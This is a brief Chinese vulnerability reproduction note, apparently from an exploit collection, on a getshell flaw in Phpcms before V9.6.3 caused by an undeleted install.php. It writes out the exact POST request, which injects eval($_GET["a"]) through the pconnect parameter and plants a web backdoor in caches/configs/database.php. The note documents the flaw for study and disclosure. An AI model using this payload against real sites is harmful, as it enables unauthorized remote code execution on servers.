Phpcms V9.6.3 install.php 没有即使删除导致的getshell.md
1022 B / 2021-04-21 09:23:46
Phpcms V9.6.3 install.php 没有即使删除导致的getshell
====================================================
一、漏洞简介
------------
比较鸡肋,需要在环境安装好了之后,install.php也没有被删除,才可以利用
二、漏洞影响
------------
Phpcms \< V9.6.3
三、复现过程
------------
POST /install/install.php?step=installmodule
module=admin&dbport=3306&pconnect=eval($_GET["a"])
> 这里控制的是
> pconnect参数,因为默认它没有单引号比较好调试。注意这里如果不传dbport参数的话database.php里的port参数会置空,将会报错。就无法执行到后面的
> eval了
![1.png](./resource/PhpcmsV9.6.3install.php没有即使删除导致的getshell/media/rId24.png)
被修改后的database.php:
![2.png](./resource/PhpcmsV9.6.3install.php没有即使删除导致的getshell/media/rId25.png)
url:`/caches/configs/database.php`
![3.png](./resource/PhpcmsV9.6.3install.php没有即使删除导致的getshell/media/rId26.png)